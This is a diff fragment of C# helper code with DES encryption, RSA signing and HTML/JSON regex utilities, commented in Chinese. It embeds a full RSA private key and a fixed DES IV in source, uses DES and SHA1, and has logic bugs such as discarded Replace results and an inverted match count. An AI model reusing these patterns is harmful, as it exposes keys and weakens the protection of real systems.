||||
cst.FlushFinalBlock();
|
||||
sw.Flush();
|
||||
string strRet = Convert.ToBase64String(ms.GetBuffer(), 0, (int)ms.Length);
|
||||
|
||||
sw.Dispose();
|
||||
sw.Close();
|
||||
cst.Dispose();
|
||||
cst.Close();
|
||||
ms.Dispose();
|
||||
ms.Close();
|
||||
return strRet;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 解密
|
||||
/// </summary>
|
||||
/// <param name="data"></param>
|
||||
/// <returns></returns>
|
||||
public static string EncryptDecode(string data, string _key = "", string _iv = "")
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrEmpty(_key))
|
||||
_key = _KEY;
|
||||
if (string.IsNullOrEmpty(_iv))
|
||||
_iv = _IV;
|
||||
|
||||
byte[] byKey = System.Text.ASCIIEncoding.ASCII.GetBytes(_key);
|
||||
byte[] byIV = System.Text.ASCIIEncoding.ASCII.GetBytes(_iv);
|
||||
byte[] byEnc;
|
||||
|
||||
try
|
||||
{
|
||||
data.Replace("_%_", "/");
|
||||
data.Replace("-%-", "#");
|
||||
byEnc = Convert.FromBase64String(data);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "";
|
||||
}
|
||||
|
||||
DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider();
|
||||
MemoryStream ms = new MemoryStream(byEnc);
|
||||
CryptoStream cst = new CryptoStream(ms, cryptoProvider.CreateDecryptor(byKey, byIV), CryptoStreamMode.Read);
|
||||
StreamReader sr = new StreamReader(cst);
|
||||
var result = sr.ReadToEnd();
|
||||
|
||||
sr.Dispose();
|
||||
sr.Close();
|
||||
cst.Dispose();
|
||||
cst.Close();
|
||||
ms.Dispose();
|
||||
ms.Close();
|
||||
|
||||
return result;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region 数字签名校验
|
||||
public static string sPrivateKey = "<RSAKeyValue><Modulus>oOS7iOYBmFdhSPYmae8Vav6DNvzFqEp08UWzNr6Jq3WetYNrVriB7EGcmSWpK4b+vu+NPhFuXRt4WMo06kJLll7kDeVBYJooXCQQaNQT1Gv4l2zcWgutCBtzIAs8YGwUgjkFdnIN8bIGOdGbQAaxIJpnifCzX5Iw2qd2YaBQMjM=</Modulus><Exponent>AQAB</Exponent><P>3w7I1TzMMt7d9fYkQINQamyqVT+Ke/WU8Z+RMFpfiYmzu+EorIxeRe5yEG1TMYD2uHPX7K8K9IwxoTF2SxcXmQ==</P><Q>uKevEc6B4LTwebVcE8UYk4ZjRW2ADDe223ajc9yZKguboXTrv1euPEnEoWibKANZ7a6ktW+ok7M30T7+6hhHqw==</Q><DP>a0JWvIMhxgx5Oz8DK6p5TtO2DIwjcXwkBRQv4spySlbXAK9CucY9xu7kFpYbfSCAgy3hVMTPRczsSJDaSz1tcQ==</DP><DQ>Oc1r1RQivdeGC2NFLn8dIVkJDDupwKlUGUD7C5K7c1js38682Um2JfMllS0snIroBKoNryoDyDBqwZqJq3fsPw==</DQ><InverseQ>nOsce/v2jCJKY1/SeOsLiwa7n5fLIKEdIBBeLURLYuELI/9RyElBM5KwNUCXWylCkVc5DRGyoExOWzZgdUk5Kw==</InverseQ><D>H2lov6qAJzjwEmmUSFxYJyJ3hbXF9TxMJorAGXELucDl8nQs8apmGzUYGMJEi+34MFjej36huGXTkiowOIgm724PlVgjQGyr9hqBFO9WTKwXQrgZaoG235HBDGh5oq1fkBNZ415msYsqwmtif7a6qAL9tEJiPlBWpg5/EJA9wVE=</D></RSAKeyValue>";
|
||||
public static string sPublicKey = "<RSAKeyValue><Modulus>oOS7iOYBmFdhSPYmae8Vav6DNvzFqEp08UWzNr6Jq3WetYNrVriB7EGcmSWpK4b+vu+NPhFuXRt4WMo06kJLll7kDeVBYJooXCQQaNQT1Gv4l2zcWgutCBtzIAs8YGwUgjkFdnIN8bIGOdGbQAaxIJpnifCzX5Iw2qd2YaBQMjM=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>";
|
||||
|
||||
/// <summary>
|
||||
/// 数字签名
|
||||
/// </summary>
|
||||
/// <param name="plaintext">原文</param>
|
||||
/// <param name="privateKey">私钥</param>
|
||||
/// <returns>签名</returns>
|
||||
public static string DataSign(string plaintext, string privateKey = "")
|
||||
{
|
||||
if (string.IsNullOrEmpty(privateKey))
|
||||
privateKey = sPrivateKey;
|
||||
|
||||
UnicodeEncoding ByteConverter = new UnicodeEncoding();
|
||||
byte[] dataToEncrypt = ByteConverter.GetBytes(plaintext);
|
||||
|
||||
using (RSACryptoServiceProvider RSAalg = new RSACryptoServiceProvider())
|
||||
{
|
||||
RSAalg.FromXmlString(privateKey);
|
||||
//使用SHA1进行摘要算法,生成签名
|
||||
byte[] encryptedData = RSAalg.SignData(dataToEncrypt, new SHA1CryptoServiceProvider());
|
||||
return Convert.ToBase64String(encryptedData);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 验证签名
|
||||
/// </summary>
|
||||
/// <param name="plaintext">原文</param>
|
||||
/// <param name="signedData">签名</param>
|
||||
/// <param name="publicKey">公钥</param>
|
||||
/// <returns></returns>
|
||||
public static bool DataVerify(string plaintext, string signedData, string publicKey = "")
|
||||
{
|
||||
if (string.IsNullOrEmpty(publicKey))
|
||||
publicKey = sPublicKey;
|
||||
|
||||
using (RSACryptoServiceProvider RSAalg = new RSACryptoServiceProvider())
|
||||
{
|
||||
RSAalg.FromXmlString(publicKey);
|
||||
UnicodeEncoding ByteConverter = new UnicodeEncoding();
|
||||
byte[] dataToVerifyBytes = ByteConverter.GetBytes(plaintext);
|
||||
byte[] signedDataBytes = Convert.FromBase64String(signedData);
|
||||
return RSAalg.VerifyData(dataToVerifyBytes, new SHA1CryptoServiceProvider(), signedDataBytes);
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// 获取非对程加密Key
|
||||
/// 键为公钥,值为私钥
|
||||
/// </summary>
|
||||
/// <returns></returns>
|
||||
public static KeyValuePair<string, string> CreateRSAKey()
|
||||
{
|
||||
RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
|
||||
string privateKey = RSA.ToXmlString(true);
|
||||
string publicKey = RSA.ToXmlString(false);
|
||||
|
||||
return new KeyValuePair<string, string>(publicKey, privateKey);
|
||||
}
|
||||
|
||||
private static byte[] Keys = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
|
||||
/// <summary>
|
||||
/// 进行DES解密。
|
||||
/// </summary>
|
||||
/// <param name="pToDecrypt">要解密的base64串</param>
|
||||
/// <param name="sKey">密钥,且必须为8位。</param>
|
||||
/// <returns>已解密的字符串。</returns>
|
||||
public static string DESDecode(string source, string sKey)
|
||||
{
|
||||
//try
|
||||
//{
|
||||
// byte[] rgbKey = Encoding.UTF8.GetBytes(sKey);
|
||||
// byte[] rgbIV = Keys;
|
||||
// byte[] inputByteArray = Convert.FromBase64String(source);
|
||||
// DESCryptoServiceProvider DCSP = new DESCryptoServiceProvider();
|
||||
// MemoryStream mStream = new MemoryStream();
|
||||
// CryptoStream cStream = new CryptoStream(mStream, DCSP.CreateDecryptor(rgbKey, rgbIV), CryptoStreamMode.Write);
|
||||
// cStream.Write(inputByteArray, 0, inputByteArray.Length);
|
||||
// cStream.FlushFinalBlock();
|
||||
// return Encoding.UTF8.GetString(mStream.ToArray());
|
||||
//}
|
||||
//catch
|
||||
//{
|
||||
// return source;
|
||||
//}
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
byte[] inputByteArray = System.Convert.FromBase64String(source);//Encoding.UTF8.GetBytes(source);
|
||||
using (DESCryptoServiceProvider des = new DESCryptoServiceProvider())
|
||||
{
|
||||
des.Key = ASCIIEncoding.ASCII.GetBytes(sKey);
|
||||
des.IV = Keys;
|
||||
System.IO.MemoryStream ms = new System.IO.MemoryStream();
|
||||
using (CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write))
|
||||
{
|
||||
cs.Write(inputByteArray, 0, inputByteArray.Length);
|
||||
cs.FlushFinalBlock();
|
||||
cs.Close();
|
||||
}
|
||||
string str = Encoding.UTF8.GetString(ms.ToArray());
|
||||
ms.Close();
|
||||
return str;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DES加密方法
|
||||
/// </summary>
|
||||
/// <param name="encryptedValue">要加密的字符串</param>
|
||||
/// <param name="key">密钥</param>
|
||||
/// <returns>加密后的字符串</returns>
|
||||
public static string DESEncrypt(string originalValue, string key)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (DESCryptoServiceProvider sa = new DESCryptoServiceProvider { Key = Encoding.UTF8.GetBytes(key), IV = Keys })
|
||||
{
|
||||
using (ICryptoTransform ct = sa.CreateEncryptor())
|
||||
{
|
||||
byte[] by = Encoding.UTF8.GetBytes(originalValue);
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
using (var cs = new CryptoStream(ms, ct, CryptoStreamMode.Write))
|
||||
{
|
||||
cs.Write(by, 0, by.Length);
|
||||
cs.FlushFinalBlock();
|
||||
}
|
||||
return Convert.ToBase64String(ms.ToArray());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
LogSave.Add("DES Encrypt Exception:" + ex.Message);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,660 @@
|
||||
/*
|
||||
* 常用正则表达式
|
||||
* 肖俊
|
||||
* 2013-5-2
|
||||
*
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
/// <summary>
|
||||
/// 基础正则表达式类
|
||||
/// </summary>
|
||||
public static class BaseRegex
|
||||
{
|
||||
/// <summary>
|
||||
/// 返回正则对象所有结果
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
public static MatchCollection GetMatchRegex(string HtmlString, string RegexString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString);
|
||||
return null;
|
||||
}
|
||||
return Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase);
|
||||
}
|
||||
/// <summary>
|
||||
/// 返回正则对象所有结果
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
public static MatchCollection GetMatchRegex(ref string HtmlString, string RegexString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString);
|
||||
return null;
|
||||
}
|
||||
return Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase);
|
||||
}
|
||||
/// <summary>
|
||||
/// 返回单个正则分析结果
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetMatchRegexString(ref string HtmlString, string RegexString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString);
|
||||
return null;
|
||||
}
|
||||
MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase);
|
||||
if (mc.Count > 0)
|
||||
{
|
||||
return mc[0].Groups[1].Value.ToString();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
/// <summary>
|
||||
/// 返回单个正则分析结果
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetMatchMaxRegexString(ref string HtmlString, string RegexString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString);
|
||||
return null;
|
||||
}
|
||||
MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase);
|
||||
if (mc.Count > 0)
|
||||
{
|
||||
return mc[mc.Count - 1].Groups[1].Value.ToString();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
/// <summary>
|
||||
/// 返回匹配的数值
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
public static int GetMatchInt(ref string HtmlString, string RegexString)
|
||||
{
|
||||
string id = GetMatchRegexString(ref HtmlString, RegexString);
|
||||
int i;
|
||||
int.TryParse(id, out i);
|
||||
return i;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 返回单个正则分析结果
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetMatchRegexString(string HtmlString, string RegexString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString);
|
||||
return null;
|
||||
}
|
||||
MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase);
|
||||
if (mc.Count > 0)
|
||||
{
|
||||
return mc[0].Groups[1].ToString();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
/// <summary>
|
||||
/// 是否存在匹配
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
public static bool MatchRegex(string HtmlString, string RegexString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString);
|
||||
return false;
|
||||
}
|
||||
return Regex.IsMatch(HtmlString, RegexString, RegexOptions.IgnoreCase);
|
||||
}
|
||||
/// <summary>
|
||||
/// 根据正则删除表达式所匹配的内容
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
public static string Clear(string HtmlString, string RegexString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString);
|
||||
return null;
|
||||
}
|
||||
return Regex.Replace(HtmlString, RegexString, "", RegexOptions.IgnoreCase);
|
||||
}
|
||||
/// <summary>
|
||||
/// 清除HTML代码
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <returns>返回文字内容</returns>
|
||||
public static string ClearHtml(string HtmlString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空");
|
||||
return null;
|
||||
}
|
||||
return Regex.Replace(Regex.Replace(HtmlString,
|
||||
@"(<head[\w\W]*?</head>|<script[\w\W]*?</script>|<style[\w\W]*?</style>|<!--[\w\W]*?-->)", ""), "(<[^>]*?>)", "").Trim();
|
||||
}
|
||||
/// <summary>
|
||||
/// 清除HTML代码
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <returns>返回文字内容</returns>
|
||||
public static string ClearHtml(ref string HtmlString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空");
|
||||
return null;
|
||||
}
|
||||
return Regex.Replace(Regex.Replace(HtmlString,
|
||||
@"(<head[\w\W]*?</head>|<script[\w\W]*?</script>|<style[\w\W]*?</style>|<!--[\w\W]*?-->)", ""), "(<[^>]*?>)", "").Trim();
|
||||
}
|
||||
/// <summary>
|
||||
/// 清除HTML代码
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <returns>返回文字内容</returns>
|
||||
public static void ClearHtmlX(ref string HtmlString)
|
||||
{
|
||||
if (string.IsNullOrEmpty(HtmlString))
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空");
|
||||
return;
|
||||
}
|
||||
HtmlString = Regex.Replace(Regex.Replace(HtmlString,
|
||||
@"(<head[\w\W]*?</head>|<script[\w\W]*?</script>|<style[\w\W]*?</style>|<!--[\w\W]*?-->)", ""), "(<[^>]*?>)", "");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 清除HTML代码A标签
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <returns>返回文字内容</returns>
|
||||
public static string ClearA(string HtmlString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空");
|
||||
return null;
|
||||
}
|
||||
HtmlString = Regex.Replace(HtmlString, "(</?a[^>]*>)", "", RegexOptions.IgnoreCase);
|
||||
return HtmlString.Trim();
|
||||
}
|
||||
/// <summary>
|
||||
/// 去除空格和特殊空白
|
||||
/// </summary>
|
||||
/// <param name="text"></param>
|
||||
/// <returns></returns>
|
||||
public static string Trim(string text)
|
||||
{
|
||||
if (string.IsNullOrEmpty(text))
|
||||
return "";
|
||||
return text.Replace("\t", " ").Replace("\r\n", " ").Replace("\r", " ").Replace("\n", " ").Trim();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 清除HTML代码A标签
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <returns>返回文字内容</returns>
|
||||
public static string ClearTitle(string HtmlString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空");
|
||||
return null;
|
||||
}
|
||||
HtmlString = Regex.Replace(HtmlString, "(title=\"[^\"]*\")", "");
|
||||
return HtmlString.Trim();
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetValue(string html, string reg)
|
||||
{
|
||||
return GetMatchRegexString(html, "<" + reg + ">([^<]+)</" + reg + ">");
|
||||
}
|
||||
/// <summary>
|
||||
/// 清理多余的HTML元素
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <returns></returns>
|
||||
public static string ClearNone(string html)
|
||||
{
|
||||
if (string.IsNullOrEmpty(html))
|
||||
return null;
|
||||
if (html.Contains("\0") && html.IndexOf("\0") > 0)
|
||||
html = html.Substring(0, html.IndexOf("\0"));
|
||||
string h = Clear(html, @"(<\!doctype[^>]*?>)");
|
||||
h = Clear(h, @"(<html[^>]*?>)");
|
||||
h = Clear(h, @"(<head[\w\W]*?</head>)");
|
||||
h = Clear(h, @"(<script[\w\W]*?</script>)");
|
||||
h = Clear(h, @"(<style[\w\W]*?</style>)");
|
||||
h = Clear(h, @"(<input[^>]*?>)");
|
||||
h = Clear(h, @"(<!--[\w\W]*?-->)");
|
||||
h = Clear(h, @"(<link[^>]*?>)");
|
||||
h = Clear(h, @"(\s*alt\s*=[""'\s]*[^>]*?['""]+)");
|
||||
h = Clear(h, @"(\s*style\s*=[""'\s]*[^>]*?['""]+)");
|
||||
h = Clear(h, @"(\s*title\s*=[""'\s]*[^>]*?['""]+)");
|
||||
h = Clear(h, @"(\s*id\s*=[""'\s]*[^>]*?['""]+)");
|
||||
h = Clear(h, @"(\s*class\s*=[""'\s]*[^>]*?['""]+)");
|
||||
h = Clear(h, @"(\s*align\s*=[""'\s]*[^>]*?['""]+)");
|
||||
h = h.Replace("\r\n", " ");
|
||||
h = h.Replace("\n", " ").Replace("\r", " ").Replace("\t", " ");
|
||||
h = h.Replace(" ", " ");
|
||||
h = h.Replace(" ", " ");
|
||||
h = h.Replace(" ", " ");
|
||||
h = h.Replace(" ", " ");
|
||||
return h.Replace(" ", " ").Replace(" ", " ");
|
||||
}
|
||||
/// <summary>
|
||||
/// 返回执行结果数
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="regex"></param>
|
||||
/// <returns></returns>
|
||||
public static int GetRegexCount(string html, string regex)
|
||||
{
|
||||
if (html == null)
|
||||
{
|
||||
LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + regex);
|
||||
return 0;
|
||||
}
|
||||
return Regex.Matches(html, regex, RegexOptions.IgnoreCase).Count;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 根据正则删除表达式所匹配的内容
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
public static string Relpace(string HtmlString, string RegexString, string NewString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
return null;
|
||||
return Regex.Replace(HtmlString, RegexString, NewString, RegexOptions.IgnoreCase);
|
||||
}
|
||||
/// <summary>
|
||||
/// 根据正则删除表达式所匹配的内容
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
public static void Relpace(ref string HtmlString, string RegexString, string NewString)
|
||||
{
|
||||
if (HtmlString == null)
|
||||
return;
|
||||
HtmlString = Regex.Replace(HtmlString, RegexString, NewString, RegexOptions.IgnoreCase);
|
||||
}
|
||||
/// <summary>
|
||||
/// 关键词在文本中出现的次数
|
||||
/// </summary>
|
||||
/// <param name="b"></param>
|
||||
/// <param name="keyword"></param>
|
||||
/// <returns></returns>
|
||||
public static int GetStringCount(ref byte[] b, string keyword)
|
||||
{
|
||||
if (string.IsNullOrEmpty(keyword))
|
||||
return 0;
|
||||
int c = 0;
|
||||
bool had;
|
||||
byte[] b1 = Encoding.UTF8.GetBytes(keyword);
|
||||
for (int i = 0; i < b.Length - b1.Length; i++)
|
||||
{
|
||||
had = false;
|
||||
for (int j = 0; j < b1.Length; j++)
|
||||
{
|
||||
if (b[i + j] != b1[j])
|
||||
{
|
||||
had = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (had)
|
||||
{
|
||||
c++;
|
||||
i += b1.Length - 1;
|
||||
}
|
||||
}
|
||||
return c;
|
||||
}
|
||||
/// <summary>
|
||||
/// 是否存在
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static bool Exists(string html, string reg)
|
||||
{
|
||||
if (string.IsNullOrEmpty(html) || string.IsNullOrEmpty(reg))
|
||||
return false;
|
||||
return new Regex(reg).IsMatch(html);
|
||||
}
|
||||
/// <summary>
|
||||
/// 是否是数字
|
||||
/// </summary>
|
||||
/// <param name="str"></param>
|
||||
/// <returns></returns>
|
||||
public static bool IsNumber(string str)
|
||||
{
|
||||
System.Text.RegularExpressions.Regex reg1 = new System.Text.RegularExpressions.Regex(@"^[0-9\.]+$");
|
||||
return reg1.IsMatch(str);
|
||||
}
|
||||
/// <summary>
|
||||
/// 是否是字母
|
||||
/// </summary>
|
||||
/// <param name="str"></param>
|
||||
/// <returns></returns>
|
||||
public static bool IsChar(string str)
|
||||
{
|
||||
System.Text.RegularExpressions.Regex reg1 = new System.Text.RegularExpressions.Regex(@"^[A-Za-z]+$");
|
||||
return reg1.IsMatch(str);
|
||||
}
|
||||
/// <summary>
|
||||
/// 是否是字母
|
||||
/// </summary>
|
||||
/// <param name="str"></param>
|
||||
/// <returns></returns>
|
||||
public static bool IsCharOrNumber(string str)
|
||||
{
|
||||
System.Text.RegularExpressions.Regex reg1 = new System.Text.RegularExpressions.Regex(@"^[A-Za-z0-9]+$");
|
||||
return reg1.IsMatch(str);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 是否是中文字符串列
|
||||
/// </summary>
|
||||
/// <param name="word"></param>
|
||||
/// <returns></returns>
|
||||
public static bool IsWordList(string word)
|
||||
{
|
||||
char[] xj = word.ToCharArray();
|
||||
for (int j = 0; j < xj.Length; j++)
|
||||
if (!IsWord(xj[j]))
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
/// <summary>
|
||||
/// 是否是字符
|
||||
/// </summary>
|
||||
/// <param name="ascii"></param>
|
||||
/// <returns></returns>
|
||||
private static bool IsWord(int ascii)
|
||||
{
|
||||
if (ascii == 32 || ascii == 35) //空格
|
||||
return true;
|
||||
if (ascii < 58 && ascii > 47) //数字
|
||||
return true;
|
||||
if (ascii < 48 && ascii > 31) //符号
|
||||
return true;
|
||||
if (ascii < 91 && ascii > 64) //小写字母
|
||||
return true;
|
||||
if (ascii < 123 && ascii > 96) //大写字母
|
||||
return true;
|
||||
if (ascii < 40892 && ascii > 13311) //中文字符串
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static bool GetBoolValue(string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)</" + reg + ">");
|
||||
if (!string.IsNullOrEmpty(temp) && (temp.ToLower() == "true" || temp == "1"))
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static int GetIntValue(string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)</" + reg + ">");
|
||||
int i;
|
||||
if (int.TryParse(temp, out i))
|
||||
return i;
|
||||
return 0;
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static long GetLongValue(string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)</" + reg + ">");
|
||||
long i;
|
||||
if (long.TryParse(temp, out i))
|
||||
return i;
|
||||
return 0;
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static double GetDoubleValue(string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)</" + reg + ">");
|
||||
double i;
|
||||
if (double.TryParse(temp, out i))
|
||||
return i;
|
||||
return 0;
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static DateTime GetDateValue(string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)</" + reg + ">");
|
||||
DateTime i;
|
||||
if (DateTime.TryParse(temp, out i))
|
||||
return i;
|
||||
return DateTime.MinValue;
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static decimal GetDecimalValue(string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)</" + reg + ">");
|
||||
decimal i = 0;
|
||||
if (decimal.TryParse(temp, out i))
|
||||
return i;
|
||||
return 0;
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static decimal GetDecimalJson(ref string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*['""]([^']+?)['""]");
|
||||
if (string.IsNullOrEmpty(temp))
|
||||
temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d-\.]+)");
|
||||
decimal i = 0;
|
||||
if (decimal.TryParse(temp, out i))
|
||||
return i;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static int GetIntJson(ref string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*['""]([^']+?)['""]");
|
||||
if (string.IsNullOrEmpty(temp))
|
||||
temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d-]+)");
|
||||
int i;
|
||||
if (int.TryParse(temp, out i))
|
||||
return i;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static bool GetBoolJson(ref string html, string reg)
|
||||
{
|
||||
var temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*(true|false)");
|
||||
bool res;
|
||||
if (bool.TryParse(temp, out res))
|
||||
return res;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 时间戳转字符串时间
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetIntTimeToString(ref string html, string reg)
|
||||
{
|
||||
return GetIntTimeToString(ref html, reg, 0);
|
||||
}
|
||||
/// <summary>
|
||||
/// 时间戳转字符串时间
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <param name="addTime">添加时间</param>
|
||||
/// <returns></returns>
|
||||
